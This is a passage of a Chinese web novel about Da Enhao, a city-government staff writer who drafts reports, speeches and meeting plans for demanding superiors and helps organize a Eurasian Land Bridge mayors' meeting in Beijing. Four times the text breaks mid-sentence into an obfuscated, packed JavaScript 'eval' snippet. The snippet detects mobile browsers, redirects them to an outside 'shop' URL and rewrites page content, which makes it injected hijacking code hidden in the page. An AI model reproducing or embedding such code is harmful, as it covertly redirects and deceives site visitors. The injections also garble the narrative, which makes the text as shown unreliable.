“……达处长，你起草这个发言材料的那一部分，‘关于对黄河滨河段水污染进行综合治理的建议’的内容，……”主任金学盛在这个材料起草专题会议上，对在座的起草组成员们说这样道。省委来了新的“一把手”，市政府领导非常重视调查研究工作，对省情市情重新认识，再审视，才能提出切实可行的发展规划和制定有效战略举措。 “达处长，你是个快枪手，材料不但出手快，而且还质量不错。全省未来五年发展思考研讨会材料，他们写得第四部分内容我看不行，你再修改构思或者重新写一下。”一天上班时间，达恩豪把第一季度经济发展研究处工作总结，花了两三天时间刚写好，准备见了黄惠新老处长交给，看后没什么修改的地方再报单位办公室的，就突然办公室电话响了，是金学盛主任打电话把达恩豪叫到他的办公室里，把他先是这么表扬了几句，果然不是什么好兆头，然后又给他补充安排了个临时的工作任务。 “金主任，我知道，就是‘环境建设是当前滨河发展的主要制约因素’那一块内容，我马上去弄。”达恩豪永远都不懂得合理合情的拒绝，这又是帮助别人干活，给别人擦屁股，既然是领导安排的，他从来都是不讲条件，不打推辞，一律承担，尽力完成，唯恐领导批评。 “金主任，这是《关于建设滨乌宁经济圈的建议》的材料，请您修改审定。”达恩豪没有闲得时间，想干得工作很多，排着队等他呢，这不刚写出得的一个材料，修改了修改，就急匆匆地拿着去给领导看了。 “小火，去‘巴国强手抓’。”达恩豪跟着金学盛主任时常就到工厂企业、县区去调研，一块调研的四五个本单位同事，经济常一块写材料，一块下基层进车间，进地头，下午回来时过了饭点，金学盛就招呼单位司机火成亮，把车开到市政府大院后身，不远处有一家很火爆热闹的手抓羊肉饭馆，环境也特别好，隔壁就是一不大不小的市中心的公园，名字就叫“滨河盆景园”。 5. 第 5 章 第五章亚欧路桥 隔着餐桌旁边的玻璃窗，就是欣赏到滨河盆景园里的花草树木的亭台湖光，边吃手抓羊肉，边免费观看园林风景，真是一举两得。金学盛主任真会选地方，这个地方还真不错，既有特色的美食，又有高雅的品位。 这几年“巴国强手抓羊肉”是滨河城最火爆的品牌之一。手抓羊肉，黄焖羊肉，爆炒羊羔肉，最好的手抓是羊脖子和羊勒条，煮羊头，糊辣羊蹄，凉拌羊肝，河州土豆片，酸辣洋芋丝，酸菜粉条，物美价廉，便宜实惠，地方民族特色饭菜深受滨河人乃至全省西北群众的喜爱，在滨河城市的大街小巷，随处可见大大小小的回民清真手抓羊肉饭馆。 “达处长，你们经济处一季度和上半年的工作总结是你写得吧，黄惠新老处长班都不好好上了，写得很好的。现在你再抓紧写一个《在滨河市设立国家进藏铁路编组站的请求》，抓住千载难逢的大好机遇，推进滨河和河陇的开发建设。”吃完了手抓羊肉加班晚餐，乘着闲聊时间，金学盛主任就给达恩豪布置了下一篇的材料任务。 “金主任，对啊，都是我写的，黄处长审核同意的。刚说这个材料您放心，我回去今天晚上就加班，动笔开始写。”达恩豪对于大小领导安排的工作，从来都是来者不拒，吃了人的嘴软，拿了人的手短，赶紧对金学盛主任这样回答道，说完了顶出舌尖舔舔油腻肥厚的嘴唇。 “金主任，这是我起草的《加强区域合作促进滨河旅游业加快发展的建议》，请你修改审定。”达恩豪这天上班时间，去金学盛主任的办公室里，最近又赶出来了一份材料，站在那里，边呈给室领导边这样说道。 “达处长你前面写得的设立国家进藏铁路编组站请求，我稍微改了下，很好。你们经济处第三季度的工作总结和今后打算我看了，是你写，也不错。刚才你拿来的这篇你放下我等一下看。”金学盛坐着抬头看着来人，边这样对达恩豪说着，边取出一份材料递给他，又把达恩豪拿来的那份材料接了放在桌上。 “天江市政府研究室专题调研小组，过几天来我市调研‘开放型经济’发展情况，达处长你抓紧起草个滨河市‘开放型经济’的情况汇报材料。”又过几天早上上班时间，金学盛打电话把达恩豪叫到主任办公室里，对达恩豪这样说道。 “好的。”达恩豪痛快地答应道，他一直都是这样想得，领导安排布置工作是看得起自己，那有推脱不写的道理呢，更不能撂挑子不干啊。 “达处长，你前面写得《关于今年重大课题研究的汇报》《在全省市州研究室主任座谈会上的发言》和《经济处工作要点》都写得很好，其他同志包括我都要向你学习。”为了好使唤经常干活的达恩豪，金学盛继续接着对老实人虚情假意地这样顺便表扬几句，但其实给你评个单位年度优秀公务员那都是不可能的事情。 “领导过奖了，应该的，份内之事。谢谢金主任！”达恩豪听得金学盛一文钱不值的口头表扬，只对一个人说，不在大会上表扬的话，已是感激得快要流热泪了，眼泪花花转圈圈地红着眼这样说道。 “金主任，这是我写好的《关于请求国家扶持治理滨河城区大气污染的建议》，请您修改审定。”又过了几天上班时间，达恩豪拿着一份刚修改好的材料，到金学盛主任办公室，上前双手放到主任办公桌右前方上，这样对面前的领导说道。 “达处长，你前几天写得《在滨河建立农产品加工贸易区大力提升农业竞争力的建议》，我看了很好，我一个字都没有动，不愧是搞过农业的内行。你刚拿来这份材料先放下，我等一阵再看。”顶头上司金学盛坐在自己的办公桌椅间，看了一眼达恩豪呈送到桌上的材料，伸左手从这办公桌的左面的一摞文件中，取出一份材料，惹有所思，一边又原放回去为办公桌左面的那摞材料上，一边对达恩豪这样微笑着说道。 “金主任，您安布置的召开陆桥沿线城市联络员会议函的材料已修改好了，请您修改审定。”过几天上班时间，达恩豪拿着一份材料，到主任金学盛的办公室，敲门进去，将这份材料放到了领导的办公桌上，然后对面前的人这样说道。 “好的。达处长你写的经济处今年工作总结和明年工作的打算，我看了有见底有想法，总结的全面到位，明年计划切合滨河实际，超前性和操作性都强，都很好的。不过最近有个市发改委目标办要的材料，你抓紧写一下，就是我们单位今年的工作汇报，也就是全年工作总结和明年工作的打算。其他材料先放一放，先把这个材料弄出来报上去，关系到咱们单位目标管理奖上等级多拿奖金的大事。”金学盛坐着看一眼达恩豪放在桌上的材料，没有立即拿起这材料看，而是抬头望着面前的下属皱了皱眉头这样安排布置道。 “好的，金主任。我回去就开始写这个材料，加班加点尽快赶出来。”达恩豪老实人一个，领导分配任务历来是来者不拒，说是一概笑纳也不为过，老认为自己能力强，领导不用他不行，心里感激领导知遇之恩，就微笑着这样应承道。 “达处长，最近科技部领导专家要来我们市上，检查指导工作，根据市政府具体安排，我们单位要写一个会展中心的工作汇报材料，你把手头其他材料先放下别管，把这样材料赶紧弄一下。”过几天上班时间，金学盛主任急得到达恩豪办公室就两步路都等不急走，直接提起电话打过来，达恩豪急急忙忙跑过去他办公室，他快言快语地这样说着，给达恩豪又布置了一项新的材料任务。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136214|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “达处长有个会议金主任要你去参加。”十月中旬，一天上班时间，办公室主任小个疤瘌红脸佟若贤走进经济发展研究处办公室，站在达恩豪办公桌旁边，一边将一份文件放到了他的办公桌右上方，一边对他这样说道。 “好的，我看什么会？需要不需要写材料？”达恩豪一边拿过来这份文件翻着仔细看起来，一边这样对佟若贤一连两个反问道。 “金主任是市物价协会会员，他忙顾不上让您顶替他开会。不想脱稿讲就得准备个材料，要收也好有个交的东西。”办公室主任小个疤瘌红脸佟若贤像是早就琢磨过这个文件和会议，看出了金学盛的高明之处，把一个材料不用说就布置给老实人了，就对达恩豪应对有策地这样回答道。 达恩豪赶紧着手，花一天时间，写好了一份听证会上听证代表发言材料。这听证会开会地点在滨河城中心繁华地段的大宾馆，头天报到，代表可以在会址滨河饭店住宿，他登记住了一晚上，吃过会议餐，晚上睡前好好地洗了个澡。 第二天上午在这家饭店开会，他代表政府部门在大会上作发言，同意自来水涨价，但是强调要照顾中低收入等困难群体的得益，按照一定的条件和标准进行减免部分涨价费用。 会场上闪光灯格外刺眼，照相机“咔咔”作响，摄像机红灯闪亮。第二天，滨河自来水涨价的消息就在各大报纸媒体上见面了，以后那个城市自来水要调涨价格，就以滨河市为例说事，成了论据。 “达处长，全国人代会期间，具体时间在明年3月中旬在北京召开的路桥沿线部分城市领导会议，《路桥沿线部分城市领导会议日程安排》这个材料你现在起草一下，早作准备，有备无患吗。前面你写得《路桥沿线部分城市联络员会议主持词》我看写得不错，继续努力。”十二月的一天，在单位上班时间，主任金学盛打电话把达恩豪喊到他办公室，对面前之人这样说道。 “好的，金主任。”达恩豪历来这样，不打推辞，不假思索，这样爽快地回答领导金学盛道。 …… “……负责起草《滨河市委滨河市政府关于进一步加快工业发展的决定（报批稿）》修改意见建议，责任人：达恩豪；负责起草完成今年滨河市《政府工作报告》修改意见建议，责任人：达恩豪；负责起草完成《滨河市国民经济和社会发展第十一个五年规划纲要》修改意见建议，责任人：达恩豪……”2006年元旦过后的一天，在单位上班，办公室通知下午三点开会，在会上主持人，金学盛主任学习了上级会议和领导讲话精神，在安排布置近期工作时这样说道。 散会后，单位办公室给达恩豪送来了征求意见稿的文件，后面附有修改提意见建议的文本。 6. 第 6 章 第六章会址之选 达恩豪爬在自己的办公桌上，先伏案详细研究一阵文本材料内容，然后盯着电脑屏幕，“噼哩啪啦”敲打着一阵子键盘，开始认真努力地编写修改意见建议。 他在标题下面新开一段空两格后，正文开头这样写道：“《滨河市委滨河市政府关于进一步加快工业发展的决定（报批稿）》，重点突出，思路清晰，目标明确，措施可行，结构严谨，战略性、前瞻性、可行性、系统性都比较强，是个很好的《决定》。为进一步完善这个《决定》，现提出如下五点修改建议以供参考。” 达恩豪低两格新开一段继续这样写：“一、在今后加快工业发展的指导思想上，建议强调“牢固树立‘工业强市’战略地位”的内容，工业是拉动第三产业、第一产业、城镇化和农业产业化的引擎，在我市要在“十一五”及今后相当长一段时期要丝毫不能动摇地坚持实施“工业强市”战略，坚持“突出工业”和“工业强市”战略规划政策实施的连续性和稳定性，才能取得实实在在的效果。滨河工业发展应分4个层次推进特色产业，大工业为石化、冶金、电力、机电、建材和纺织工业，地方配套工业为制药、烟草、食品、皮塑、农机和钢木制品工业，高新技术产业为电子信息、新医药、新材料和新技术应用，战略产业为旅游产业、汽车工业、精铝加工和精细化工。” 再继续新开一段空两格，往电脑屏上打出的文字是：“二、建议在奋斗目标中，强调节能降耗和资源能源循环利用的有关指标。诸如工业中水循环利用率等。” 达恩豪又继续新开一段低两格写道：“三、建议增加发展循环经济和建设节约型、环境友好型社会的有关内容，努力构建煤油气----合成材料----精细化工产业链，构建煤电----冶金----新材料产业链，构建材料----零部件----装备制造产业链，构建农产品----初加工----医药食品产业链等，再具体化和落实到各种措施和项目上，促进我市工业经济结构调整、增长速度、质量和效益又快又好的发展。” 他再新开一段空两格，打出的内容是：“四、建议增加新型工业化道路的有关内容，要大力实施科技兴工战略，大力支持发展具有自主知识产权的高新技术产业，重点发展具有滨河特色的装备制造业，培育滨河特色的优势产业和支柱产业，壮大滨河特色的非公有制工业经济和中小工业企业，不断提高滨河工业的整体竞争力和综合实力。” 最后达恩豪电脑屏幕上这样新开一段低两格，用这样的文字打到：“五、在加快国企改革中，注意解决好工业发展与职工生活同步协调的问题，切实解决好职工就业、再就业和生活保障问题。积极探索符合滨河特色的社会保障新体制。” 达恩豪这还不算完，在这篇文章的最下面右下方，打上单位名称和起草这个文件的时间年月日。 这样，又经过看看文本，打打字，修修改改的，不到多半天时间，达恩豪就把一篇简要的修改意见建议稿给弄出来了。 不到一周时间，金学盛主任在会议上安排的工作，达恩豪一件一件起草修改打印一份，拿到单位领导办公室去，递给金主任修改审定，几乎全都是一次性过关，由领导签批，再从单位办公室要来文件红头页，套上文头打，后面页用复印纸打印好，装订好，又到单位办公室去要了公章和红印泥，在落款处，单位名称和年月日上盖上单位公章，办公室安排人员，把这文件发送到报送机关去，文件的底稿和两份打印盖章的文件，交由办公室保存归档。 金学盛主任在大会小会上强调，今年要围绕新亚欧大陆桥建设推进滨河市扩大开，推进区域合作，加快经济社会发展，要力争办好市长联谊会，为此，要做好会前的一切准备工作。 …… 黄河两岸，滨河城的街道两旁，大大小的公园，南北两山上，杨柳绿了，春花开了。时间飞快，转眼就到了3月中旬。 新亚欧大陆桥部分城市领导联谊会和新亚欧大陆桥部分城市联络员会议会期临近，马上就要开了。年前已发了主会预备通知，翻年又发了会议正式通知，会议的具体联系人是经济发展研究处副处长巴多星，联系领导是滨河市政府研究副主任常吉，还有滨河市驻北京办联络处处长傅学彦。 会议召开前四五天，达恩豪跟着金学盛和常吉，一行五六个人乘飞机到了北京筹备会议，他们别处不去，直接就到了西直门外大街的滨河市政府驻北京联络处住下，一幢小高层的普通大楼，以此为据点开展工作。 “这次一大一小两个会议套开，小会好解决，路桥城市联络员会议，咱们滨河市驻京办会议室就能开，吃饭住宿都方便，也肥水不流外人田。关键是后面的大会很重要，也很难办，邀请部委领导参加，这个也好办，我和傅处长说好了，你们坐他们单位的小车去各国家各部门找领导邀请，张主任你负责带队。我和达处长我们去解决难题，找市长联谊会的会场，确定在那个宾馆饭店开会是个难啃的腰节骨，首都这么多的宾馆饭店，良莠不齐，究竟找那家，我很头痛，好了我和恩豪解决，你们不要管，把自己负责的事情做好就行了。”金学盛主任在宾馆自己的房间里，召集这次会议来京筹备小组的成员，召开临时开会，有些严肃认真，对大家这样安抚部署工作道。 “多星，你睡得早，你先洗澡，我睡得迟，我迟点洗，早洗了也睡不着。”达恩豪和巴多星同住一间滨河市驻京办滨河宾馆的房间，不知道什么原因，达恩豪看巴多星老是赶紧抢先他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136215|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要去洗澡，早早就要睡觉去，就对秃头矮个大眼的巴多星关切这样说道。 “昨天我们开会的时候，你硬说国家商务部的那个副部长的名字是李桥治，我和金主任今天在报纸上明明看到是叫李桥冶，一字之差，把那大领导的名字搞错了，你干什么吃的，领导连我都一块儿批评了，以后一定要注意，下不为例。”达恩豪挨了金学盛的批评，都怪巴多星不认真不负责，连累了自己，晚上在宾馆房间里，就相当严厉地批评秃头小个子大眼睛这样道，也是第一次对巴多星生这么大气发这么大火，也是第一次地斥责他。 “达处长你感觉我们找的那家酒店怎么样？”达恩豪跟着金学盛主任在北京中心城区的大街小巷上转悠，专找大饭店大酒店，停了车就进去问大堂经理，领着上楼去看会议厅规模大小，看会场装修，看桌椅配置，看灯光音响等设备，看工作人员服装言谈举止，问饭菜质量和价格，问房间数量和价格，查房间配置设施，勘查得特别仔细，跑了好多家，量后初步选定一家。晚上回去，金学盛主任有点不放心地这样问达恩豪道。 “我感觉心里不太踏实！”达恩豪心想，刚才初步选定的那家大酒店，虽然是新建设装修的新酒店，地方宽敞大气，各方质量都好，价格也都合理，但他总感觉是这大酒店正在试运营阶段，加上地方比较偏远一点，另外，这大酒店顾客不多，冷冷清清的，感觉人气也一点不旺，万一那个地方出问题，那个环节弄不好，会把会议给搞砸了，那就这次活动算是不圆满了，这项工作就功败垂成了。他情不自禁，顺口就回答了这样一句话道。 “那好，现在咱们出去继续再找，再跑一跑看。”别人一句无意中的话，好像一下点醒了梦中人。金学盛打了个激灵，好似意识到了问题的严重性，可能是英雄所见略同，和达恩豪想到了一块儿，作为领导更加是责任重大，压力更大，一秒钟都不想耽搁，从躺着的宾馆房间的床上，几乎是猛一下弹跳了起来，站在房间地上。 “好的，金主任，走吧。”没有想到，一向涵养儒雅比较性格慢热的领导，这一弹起来站在房间中央的地上，出乎所料，情理之外，把达恩豪当时都给吓了一跳，惊慌得不行，立即又清醒镇定下来，也不由自主地从坐着的圈椅上站起来，笑着望向金学盛赶紧这样回答道。 “达处长，你看这家饭店怎么样？”金学盛主任拉上达恩豪又上北京西直门外这一片之外，也不限于中心城区之内，继续扩大搜索范围，寻找合适的筹办这次会议的宾馆饭店。选过来，选过去，坐车又重新返回到一家叫“首都民族饭店”，还是感觉这家饭店比较适合。金学盛站在这家饭店的门前，仰头看着一楼正门上方悬挂着的黑底黄字的“首都民族饭店”招牌，微笑着对达恩豪这样说道。 7. 第 7 章 第七章首都办会 “这家饭店很好，我心里踏实了。”达恩豪用眼睛余光注意着进进出出的顾客，心想刚才看了会场规模装修，会议桌椅地毯，灯光音响设备，餐厅菜品人员，样样都比较满意，加之这是一家运营几十年老店，运营管理成熟，经验丰富，人气旺盛，口碑也好，整体上心里有个底了，就对金学盛主任笑着这样回答道。 “噢，达处长，你说说看？”大高个儿的金学盛不觉地举手向上推一下眼镜腿儿，有点不相信地抬起下巴向上微微仰起头，吊眼俯视着矮个儿的达恩豪有点疑惑地对达恩豪这样问道。 “金主任你这是在考我吧？！这可是附加题，不答也可以的。我看了他们的会场大小布置也可以，设施设备都很好，菜谱丰富有特色，客房也干净整洁，主要是历史悠久，经营管理成熟，离市中心和市驻京办都比较近，交通便利，我感觉比较满意。”达恩豪习惯地举右手捋一把长长的分头发梢，顺势再挠一下头皮，皱一皱眉头，然后对金学盛这样说道。 “原来英雄所见略同。就定这家，首都民族饭店，回去给常吉他们通报一下。达处长，多亏你及时提醒，你立了头功，先记你一大功。”金学盛听达恩豪这样说着，脸上慢慢也浮上了得意的笑容来，首先是肯定的赞同，然后又是打了个大胜仗一样，情不自禁地想给别人得瑟一番，又是给英雄记功许奖，笑着对达恩豪这样说道。 “我们跑了几天，一家宾馆一家饭店地勘查筛选，把开会的地方定好了，可傅学彦跑去先给常市长汇报会议筹备情况，把我们辛辛苦苦的功劳全抢跑了。达处长你说这家伙坏不坏？！”金学盛主任一天在宾馆他房间里，感觉气氛沉闷，有些严肃凝重似的，他地上走过来走过去踱方步，突然停住了站在屋中央地上，气急愤恨地直瞪着坐在沙发上的达恩豪这样说道，好像是面前人做了这件事一样。 “金主任，你是怎么知道驻京办傅处长抢了咱们的功劳？”原来中高层的领导们之间也是在勾心斗角，暗中较劲，争权夺利，但具体地怎么干得呢？达恩豪好奇地向气急败坏的顶头上司这样随口问了一句。 “你不是也一块跟着我们迎接常市长来吗，没有听到也没有看见啊？在宾馆门口一齐走着的时候，常市长问这次会议的准备情况，傅学彦赶紧抢到我前面给常市长说‘首都饭店’，会议举办的地点找好了。”这时，金学盛主任已经是气消了一大半了，走过去，坐在周围有扶手靠背的圈椅里，点燃了一只“黑金刚”香烟，抽一口，吐出一团白雾，转头面无表情地看着达恩豪，不厌其烦地这样解释道。 “这次会议我们单位是主办，他们驻京办是协助，这不是主次颠倒了。”达恩豪想，我们根本到不了大市长身边，你金主任我们的“一把手”都到不了市长近前，何况是我们小小一个副处长，就答非所问地顾左右而言他了，这样一齐责怪起驻京办领导傅处长的不是来。 俗说话得好：“从碾道里出来，又被套进了磨道。”说的是驴子有干不完的活，没有时间休息。达恩豪是材料组的成员，找好了开会的酒店，他又被副主任材料组组长常吉拉去，参加这次会议现场材料起草撰写工作，又在住宿的宾馆里，伏案干活，加班加点，起草完成了《路桥沿线部分城市领导联谊会新闻通稿》《路桥沿线部分城市领导联谊会新闻报道情况》等会议临时性材料，还要参加会场布置，作好会议记录，会议报到，礼品发放登记，宾客迎送，会议服务工作。 新亚欧大路桥沿线部分城市领导第四次联谊会，一共是两天时间，其实也就两个多半天，活动圆满完成了。一共邀请了13个城市市长，另外还邀请了发改委、铁道部、商务部、财政部、科技部等国家有关部委的领导，以及部分参加全国“两会”的人大代表和有关专家，就陆桥沿线地区合作与发展等问题进行了广泛深入的交流和探讨，提出了许多具有建设性的意见和建议。 在会议上，13个城市市长等联名签署并向全国人大提交了《关于请求国家加大对陇海滨疆经济带生态建设和环境保护支持力度的议案》、《关于请求国家扶持治理滨河城区大气污染的建议》、《对黄河滨河段水污染进行综合治理的建议》、《关于对陆桥沿线地区现代物流发展给予税收支持的议案》、《关于请求国家对西部地区给予税收支持的建议》、《关于依托亚欧大陆桥优势加快发展的建议》等10多个议案和意见。取得了丰硕的成果。 并且宣布，新亚欧大陆桥沿线部分城市第五次联谊活动将由陕安市承办，于2007年3月全国“两会”期间在北京召开。今年下半年滨河市还将承办第八届新亚欧大陆桥区域经济合作国际研讨会。 3月16日金学盛和达恩豪们一行，办完了2006年新亚欧大陆桥沿线部分城市第五次联谊会的活动，回到滨河后第二天，就召开了先进性教育专题会议，金学盛主持会议，非常严肃地对与会人员说道： “北京会议我们也办完了，并且非常成功，是大家共同努力的结果，我看在眼里记在心里，保持发扬好连续作战精神，继续把以后的工作搞好。最近，先进性教育要进行回头看的检查，在座都是先进性教育领导小组成员及其办公室人员，各负其责，我们要做好迎接检查各项准备工作，……达处长你负责起草我们单位《先进性教育活动整改工作进行专项“回头看”的情况汇报》《关于开展“强化责任年”活动的实施方案》这两个材料……” 达恩豪收回到北京首都出去开会的心，立即投入写材料的苦差事中，习惯了一篇篇写不完的材料的本职工作，工作就是写材料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136216|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，写材料就是工作。几天就把任务完成了，《先进性教育活动整改工作进行专项“回头看”的情况汇报》写了9页4500多字，《关于开展“强化责任年”活动的实施方案》写了9页近4000字，两篇都套了单位文件的红头，除了向上组有关部门单位上报了正式文件外，还向市委检查组作了汇报。 “达处长，你把《2006年新亚欧大陆桥区域经济合作国际研讨会（滨河）筹备方案》抓紧起草出来。”新亚欧大陆桥沿线部分城市第五次联谊会开会前，金学盛主任就给一次单位集体学习时就已安排，在从北京开完会回程的路上，他又这样催促达恩豪道。 “金主任，这个会议的《筹备方案》共九个部分：第一部分，会议背景与意义，包括两个内容……；第二部分，会议主题与议题，主题是‘新亚欧大陆桥沿桥城市合作领域拓展与政府主导地位强化’，具体分议题有5个方面……；第三部分，会议时间与地点，包括时间待定，地点初选为河陇宾馆或西北饭店……；第四部分，会议组织，包括主办、承办、协办单位……；第五部分，参会人员……；第六部分，会议日程，包括□□新亚欧大陆桥国际协调机制第七次工作会议和2006年新亚欧大陆桥区域经济合作国际研讨会两个日程……；第七部分，经费预算，待定，包括会议经费、会议辅助经费和会议筹备经费……；第八部分，会议宣传……；第九部分，筹备机构，包括筹备工作领导小组和筹备工作领导小组办公室，初步确定，办公室下设材料、会务、接待、联络、翻译、宣传、保卫等七个专业小组……”从北京开完会回来滨河后的第二天，达恩豪就拿着两份材料去给金学盛办公室，递给领导一份，坐在沙发上翻着这份七八页厚的材料，罗罗唆唆，一搭接着一搭地给主任详细汇报材料起草情况。 “达处长，这个方案写得不错，基本框架合理，总体感觉很好，我原则上满意，再开会发大家讨论修改完善一下就上报。”金学盛听了达恩豪的这材料的汇报，坐在自己的办公桌椅之间，对这个《筹备方案》又是大加赞赏，又是说出今后的打算，微笑着对面前的人这样说道。 “陆桥国际研讨会我们单位第一举办，我们滨河市甚至于我们河陇省都是首次，为了办好这次会议，充分筹备好这次会议，经我们请示上级领导同意，我们要到举办这会议的外地城市选上三个左右去学习考察一下。达处长你起草个调研的函，这次我们单位我和社会处常新言处长去，以后机会还多这里，下次再带你出去。”过几天，金学盛又打电话把达恩豪喊去，到他的办公室里安排新工作，这样对达恩豪说道。金学盛不亏为历练有年头的老领导，怕达恩豪光干活没能参加这次外出考察会不高兴，金学盛就顺便给达恩豪画一饼，好让达恩豪为人作嫁衣还说不出口。 8. 第 8 章 第八章两区开发 “主要是座谈的情况和提供材料是：举办这个国际研讨会他们的作法和经验是什么，主题怎么选择，会务怎么组织、宾客怎么邀请及活动日程怎么安排，如何宣传报道，与国家各部委的联系方式，如何取得国家支持、指导和帮助，解决实际问题，市场化运作的具体做法是什么。”金学盛像胸有成竹一样，继续接着对达恩豪这样侃侃而谈地说道。 “好的。”达恩豪这样回答道。回到自己办公室，按领导交待，这次学习考察城市初定为疆中市、河郑市、江港市三个城市，都是西北、中原、沿海省份首府城市，在国内新亚欧大陆桥上，典型性和代表性很强。时间初定在本月下旬一周时间，二十三至二十九日，出进七天。参加人员共八人，除市政府研究室两个人外，有滨河市委常委、宣传部长，市发改委经常写材料的一名副主任，市招商局分管副局长，市委政研室常务副主任，滨河市新闻办主任，市发改委综合处主任科员一名。 五月上旬的一天，经金学盛主任安排，让达恩豪又起草了一份呈报省政府的文件，标题是：《关于申请主办2006年新亚欧大陆桥区域经济合作国际研讨会的请示》。主要内容是：新亚欧大陆桥区域经济合作国际研讨会是联合国开发计划署和华夏国政府联合打造的国际性合作平台。自1999年举办第一届国际研讨会以来，距今已在沿桥城市举办7届。国府院高度重视新亚欧大陆桥的共同建设和一体化繁荣，成立了国府院新亚欧大陆桥国际协调机制，确定国家14个部委为协调机制成员单位。2005年在江徐市举办的第7届国际研讨会上议定第8届国际研讨会在滨河举行，由国府院新亚欧大陆桥国际协调机制、国家商务部、河陇省政府和联合国开发计划署主办，滨河市政府承办。请求省政府专题报告国府院新亚欧大陆桥国际协调机制和国家商务部正式批准河陇省政府主办，滨河市政府承办2006新亚欧大陆桥区域经济合作国际研讨会。 “……达恩豪负责起草：《市委市政府关于成立2006年新亚欧大陆桥区域经济合作国际研讨会筹备领导小组的通知》《2006年新亚欧大陆桥区域经济合作国际研讨会材料组工作实施细则》《2006年新亚欧大陆桥区域经济合作国际研讨会研讨会材料分工明细表》《关于滨河承办2006年新亚欧大陆桥区域经济合作国际研讨会有关情况的汇报》……”过几天，单位专门召开了今年滨河市承办新亚欧大陆桥区域经济合作国际研讨会会议，金学盛主任在全体干部职工大会上，主持会议并作了近期专题工作安排布置。 达恩豪埋头苦干，辛辛苦苦爬电脑前，一个材料接着一个材料地死磕。一万多字的材料任务，用一周时间，就基本上写出来了。《市委市政府关于成立2006年新亚欧大陆桥区域经济合作国际研讨会筹备领导小组的通知》写了8页共2500多字，《2006年新亚欧大陆桥区域经济合作国际研讨会材料组工作实施细则（工作方案）》写了4页共1500多字，《2006年新亚欧大陆桥区域经济合作国际研讨会研讨会材料分工明细表》写了4页共1500多字，《关于滨河承办2006年新亚欧大陆桥区域经济合作国际研讨会有关情况的汇报》写了9页共4400多字。先后都交给金学盛主任，稍加修改就全交差了。 “……材料题目：给市委沈书记的《市政府研究室前五个月主要工作情况汇报》起草人：达恩豪；材料题目：《市政府研究室领导班子述职述廉报告》起草人：达恩豪；材料题目：给市委考察组《市政府研究室工作汇报》起草人：达恩豪；达恩豪；材料题目：《滨河市关于加快县域经济发展的汇报》起草人：达恩豪；达恩豪；材料题目：给省委、省政府《滨河市矿产资源开发管理工作情况汇报》起草人：达恩豪；……”过了一周，前一周会上金学盛布置的材料都基本搞完了，单位办公室通知又开会，但这次是单位例行学习会议，到会议最后面的议程，主持人金学盛主任总结了前一阶段的工作，然后安排布置了下一阶段的具体工作。 达恩豪接着继续任劳任怨地干工作，又是一周的紧张伏案敲打键盘，一份份地材料就从达恩豪手里弄出来了。给市委沈书记的《市政府研究室前五个月主要工作情况汇报》小改了两次，就过关了，共写了20页11000多字。其他几个材料，都是小改一下，基本是一次性完成。《市政府研究室领导班子述职述廉报告》写了11页近6000字，《市政府研究室工作汇报》写了10页共5000多字，《滨河市关于加快县域经济发展的汇报》写了11页共7200多字，《滨河市矿产资源开发管理工作情况汇报》写了8页共4300多字。短短一周的时间内，高质量完成3万多字的材料，达恩豪简直就成了写材料的机器了，让人刮目相看。 “达处长，请坐，去年我的述职述廉报告是你写得对吧，我单位事忙这顾不上，今年上半年的你给我再写一下，劳驾一下，我给市委考察组好汇报。”大个眼镜白皮肤的常吉副主任，把达恩豪喊到他的副主任办公室，闭上门，站在办公桌后面，笑着望向达恩豪这样说道。 “常主任，好的。”达恩豪也陪着笑领命道。回到自己办公室，从电脑上去年自己的工作文档中，粗找一遍没找到，再细找一遍终于找到了，去年他给常吉副主任写的年度述职述廉报告。达恩豪把今年上半年常吉主任分管完成的工作，替换掉去年完成的工作，再把今年先进性教育专项整治“回头看”，市委“治庸计划”和“强化责任年活动”突出来，写进去，用两天时间就整出来了，材料写了共6页3000多字。稿子交给常吉副主任，常吉副主任粗粗地一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136217|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看，对达恩豪说道： 